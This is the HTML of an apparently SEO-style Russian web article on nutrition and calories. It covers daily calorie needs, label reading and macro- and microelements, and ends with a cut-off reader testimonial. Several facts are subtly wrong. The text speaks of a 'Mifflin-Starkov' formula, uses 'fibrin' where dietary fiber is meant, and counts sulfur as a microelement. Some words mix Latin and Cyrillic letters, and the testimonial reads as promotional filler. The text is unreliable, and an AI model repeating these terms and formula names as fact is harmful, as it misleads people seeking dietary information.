\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438<\/title><br \/>\n<\/head><body><\/p>\n<div id=\"toc\">\n<h2 class=\"titletoc\">Table<\/h2>\n<ul class=\"toc_list\">\n<li><a href=\"#rasshifrovka-kaloriy-kak-oni-vliyayut-na-nash-organizm--1\">\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041a\u0430\u043a \u041e\u043d\u0438 \u0412\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u041d\u0430\u0448 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c? <\/a><\/li>\n<li><a href=\"#zdorovoe-pitanie-osnovnye-printsipy-i-rekomendatsii--2\">\u0417\u0434\u043e\u0440\u043e\u0432\u043e\u0435 \u041f\u0438\u0442\u0430\u043d\u0438\u0435: \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u041f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0438 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <\/a><\/li>\n<li><a href=\"#kak-rasschitat-ezhednevnuyu-nuzhdu-kaloriy-prakticheskoe-rukovodstvo--3\">\u041a\u0430\u043a \u0420\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0415\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u0443\u044e \u041d\u0443\u0436\u0434\u0443 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e <\/a><\/li>\n<li><a href=\"#razbor-pishchevoy-tsennosti-chto-skryvaetsya-za-etiketkoy--4\">\u0420\u0430\u0437\u0431\u043e\u0440 \u041f\u0438\u0449\u0435\u0432\u043e\u0439 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438: \u0427\u0442\u043e \u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0417\u0430 \u042d\u0442\u0438\u043a\u0435\u0442\u043a\u043e\u0439? <\/a><\/li>\n<li><a href=\"#makro-i-mikroelementy-vliyanie-na-organizm-i-istochniki-pitaniya--5\">\u041c\u0430\u043a\u0440\u043e- \u0438 \u041c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b: \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u041f\u0438\u0442\u0430\u043d\u0438\u044f <\/a><\/li>\n<\/ul>\n<\/div>\n<p><img decoding=\"async\" class=\"aligncenter\" style=\"display: block;margin-left:auto;margin-right:auto;\" src=\"https:\/\/i.ytimg.com\/vi\/kGfGWsUivLU\/hqdefault.jpg\" width=\"348\" alt=\"\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438\"><\/p>\n<h1 id=\"rasshifrovka-kaloriy-kak-oni-vliyayut-na-nash-organizm--1\">\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041a\u0430\u043a \u041e\u043d\u0438 \u0412\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u041d\u0430\u0448 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c? <\/h1>\n<p>\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041a\u0430\u043a \u041e\u043d\u0438 \u0412\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u041d\u0430\u0448 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c? \u041a\u0430\u043b\u043e\u0440\u0438\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0435\u0434\u0438\u043d\u0438\u0446\u0435\u0439 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u044d\u043d\u0435\u0440\u0433\u0438\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0439\u0441\u044f \u0432 \u043f\u0438\u0449\u0435. \u041e\u043d\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043d\u0430\u0448\u0435\u043c\u0443 \u0442\u0435\u043b\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0434\u044b\u0445\u0430\u043d\u0438\u0435 \u0438 \u0446\u0438\u0440\u043a\u0443\u043b\u044f\u0446\u0438\u044f \u043a\u0440\u043e\u0432\u0438. \u041f\u0440\u0435\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0434\u043d\u0435\u0432\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u043a\u0430\u043b\u043e\u0440\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0430\u0431\u043e\u0440\u0443 \u043b\u0438\u0448\u043d\u0435\u0433\u043e \u0432\u0435\u0441\u0430, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043a\u0430\u043b\u043e\u0440\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0441\u0442\u043e\u0449\u0435\u043d\u0438\u044e \u0438 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e \u0438\u043c\u043c\u0443\u043d\u0438\u0442\u0435\u0442\u0430. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0435 \u0432\u0441\u0435 \u043a\u0430\u043b\u043e\u0440\u0438\u0438 \u0440\u0430\u0432\u043d\u044b: \u043f\u0438\u0449\u0430 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u043b\u043a\u0430 \u0438 \u0444\u0438\u0431\u0440\u0438\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0432\u0430\u0448 \u0430\u043f\u043f\u0435tit \u0438 \u0434\u0430\u0432\u0430\u0442\u044c \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u0443\u044e \u044d\u043d\u0435\u0440\u0433\u0438\u044e, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u0438\u0449\u0430 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\u043c \u0441\u0430\u0445\u0430\u0440\u0430 \u0438 \u0436\u0438\u0440\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0441\u043f\u044b\u0448\u043a\u0430\u043c \u0433\u043e\u043b\u043e\u0434\u0430 \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0441\u043f\u0430\u0434\u0430\u043c.<\/p>\n<h2 id=\"zdorovoe-pitanie-osnovnye-printsipy-i-rekomendatsii--2\">\u0417\u0434\u043e\u0440\u043e\u0432\u043e\u0435 \u041f\u0438\u0442\u0430\u043d\u0438\u0435: \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u041f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0438 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <\/h2>\n<p>\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0437\u0434\u043e\u0440\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0435\u0441\u0442\u044c \u0447\u0430\u0441\u0442\u043e, \u043d\u043e \u043d\u0435 \u043c\u043d\u043e\u0433\u043e; \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0438\u0449\u0443 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u0443\u044e \u0438 \u0431\u043e\u0433\u0430\u0442\u0443\u044e \u043f\u0438\u0442\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0432\u0435\u0449\u0435\u0441\u0442\u0432\u0430\u043c\u0438; \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u0442\u0443\u0440\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u043b\u0438, \u0441\u0430\u0445\u0430\u0440\u0430 \u0438 \u0436\u0438\u0440\u043e\u0432; \u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u0443\u0440\u0441\u0435 \u0441\u0432\u043e\u0438\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c\u044b\u0445 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u0445 \u043d\u043e\u0440\u043c \u043f\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044e.<\/p>\n<h2 id=\"kak-rasschitat-ezhednevnuyu-nuzhdu-kaloriy-prakticheskoe-rukovodstvo--3\">\u041a\u0430\u043a \u0420\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0415\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u0443\u044e \u041d\u0443\u0436\u0434\u0443 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e <\/h2>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u0436\u0438\u0432\u0451\u0442\u0435 \u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u0443\u044e \u043a\u0430\u043b\u043e\u0440\u0438\u0439\u043d\u0443\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c, \u0442\u043e \u0432\u044b \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u0435 \u0441\u0432\u043e\u0439 \u0432\u0435\u0441, \u0440\u043e\u0441\u0442 \u0438 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435\u0441\u044c \u0444\u043e\u0440\u043c\u0443\u043b\u043e\u0439 \u041c\u0438\u0444\u0444\u043b\u0438\u043d\u0430-\u0421\u0442\u0430\u0440\u043a\u043e\u0432\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u043e\u0439 \u0425\u0430\u0440\u0440\u0438\u0441\u0430-\u0411enedict. \u0412-\u0442\u0440\u0435\u0442\u044c\u0438\u0445, \u0443\u043c\u043d\u043e\u0436\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u043a\u043e\u044d\u0444\u0444\u0438\u0446\u0438\u0435\u043d\u0442, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432\u0430\u0448\u0435\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432\u0430\u0448\u0435\u0439 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0439 \u043a\u0430\u043b\u043e\u0440\u0438\u0439\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e, \u0434\u0430?<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" style=\"display: block;margin-left:auto;margin-right:auto;\" src=\"https:\/\/i.ytimg.com\/vi\/Axv4c1XkE1k\/hqdefault.jpg\" width=\"351\" alt=\"\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438\"><\/p>\n<h2 id=\"razbor-pishchevoy-tsennosti-chto-skryvaetsya-za-etiketkoy--4\">\u0420\u0430\u0437\u0431\u043e\u0440 \u041f\u0438\u0449\u0435\u0432\u043e\u0439 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438: \u0427\u0442\u043e \u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0417\u0430 \u042d\u0442\u0438\u043a\u0435\u0442\u043a\u043e\u0439? <\/h2>\n<p>\u0420\u0430\u0437\u0431\u043e\u0440 \u041f\u0438\u0449\u0435\u0432\u043e\u0439 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438: \u0427\u0442\u043e \u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0417\u0430 \u042d\u0442\u0438\u043a\u0435\u0442\u043a\u043e\u0439? – \u0432\u0430\u0436\u043d\u0430\u044f \u0442\u0435\u043c\u0430 \u0434\u043b\u044f \u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438. \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 \u0443\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041a\u0430\u043b\u043e\u0440\u0438\u0439\u043d\u043e\u0441\u0442\u044c, \u0431\u0435\u043b\u043a\u0438, \u0436\u0438\u0440\u044b \u0438 \u0443\u0433\u043b\u0435\u0432\u043e\u0434\u044b – \u0432\u0441\u0435 \u044d\u0442\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u0435\u0440\u0435\u0434 \u043f\u043e\u043a\u0443\u043f\u043a\u043e\u0439. \u041d\u0435 \u0432\u0441\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0441\u0442\u0432 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044c\u0435 \u044d\u0442\u0438\u043a\u0435\u0442\u043e\u043a \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0437\u0434\u043e\u0440\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u043d\u0433\u0440\u0435\u0434\u0438\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u0431\u0430\u0432\u043a\u0438.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter\" style=\"display: block;margin-left:auto;margin-right:auto;\" src=\"https:\/\/i.ytimg.com\/vi\/TQAww1LeSKo\/hqdefault.jpg\" width=\"392\" alt=\"\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438\"><\/p>\n<h2 id=\"makro-i-mikroelementy-vliyanie-na-organizm-i-istochniki-pitaniya--5\">\u041c\u0430\u043a\u0440\u043e- \u0438 \u041c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b: \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u041f\u0438\u0442\u0430\u043d\u0438\u044f <\/h2>\n<p>\u041c\u0430\u043a\u0440\u043e- \u0438 \u043c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b \u0438\u0433\u0440\u0430\u044e\u0442 \u0440\u0435\u0448\u0430\u044e\u0449\u0443\u044e \u0440\u043e\u043b\u044c \u0432 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0438 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430. <br \/>\u041c\u0430\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u0430\u043b\u0438\u0439, \u043d\u0430\u0442\u0440\u0438\u0439, \u043a\u0430\u043b\u044c\u0446\u0438\u0439 \u0438 \u043c\u0430\u0433\u043d\u0438\u0439, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0432 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430\u0445 \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u0437\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u0442\u0435\u043b\u0430. <br \/>\n\u0421 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0436\u0435\u043b\u0435\u0437\u043e, \u0446\u0438\u043d\u043a, \u043c\u0435\u0434\u044c \u0438 \u0441\u0435\u0440\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0432 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u043c\u0435\u043d\u044c\u0448\u0438\u0445 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430\u0445, \u043d\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u043d\u0430\u0448 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c. <br \/>\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0440\u043e- \u0438 \u043c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0430\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0438\u0445 \u0438\u0437 \u043f\u0438\u0449\u0435\u0432\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u0432\u043e\u0449\u0438, \u0444\u0440\u0443\u043a\u0442\u044b, \u0446\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0435\u0440\u043d\u0430 \u0438 \u043c\u044f\u0441\u043e. <br \/>\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0432 \u0440\u0430\u0446\u0438\u043e\u043d \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0431\u0430\u043b\u0430\u043d\u0441 \u043c\u0430\u043a\u0440\u043e- \u0438 \u043c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430.<\/p>\n<p>\u041e\u0442\u0437\u044b\u0432 1: \u041f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u043c\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u041d\u0430\u0442\u0430\u043b\u044c\u0438, 32 \u0433\u043e\u0434\u0430:<\/p>\n<p>\u042f \u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043a\u0430\u043b\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043e \u043f\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u044f\u0445, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u0440\u0443\u0441\u0441\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u044f \u043d\u0430\u0448\u043b\u0430 \u044d\u0442\u043e\u0442 \u0433\u0438\u0434 – \u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438. \u042d\u0442\u043e\u0442 \u0440\u0435\u0441\u0443\u0440\u0441 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043d\u0435 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u0438\u0442\u0430\u043d\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u044f \u0438\u0441\u043a\u0430\u043b\u0430. \u042f \u043d\u0430\u0448\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0441\u043e\u0432\u0435\u0442\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f \u043c\u043e\u0433\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u0439 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435. \u042f 